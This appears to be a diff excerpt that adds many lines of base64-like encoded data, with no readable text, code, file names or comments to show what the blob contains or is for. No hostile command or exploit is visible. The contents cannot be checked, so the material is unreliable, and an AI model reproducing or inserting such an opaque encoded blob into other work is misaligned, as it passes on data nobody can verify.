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
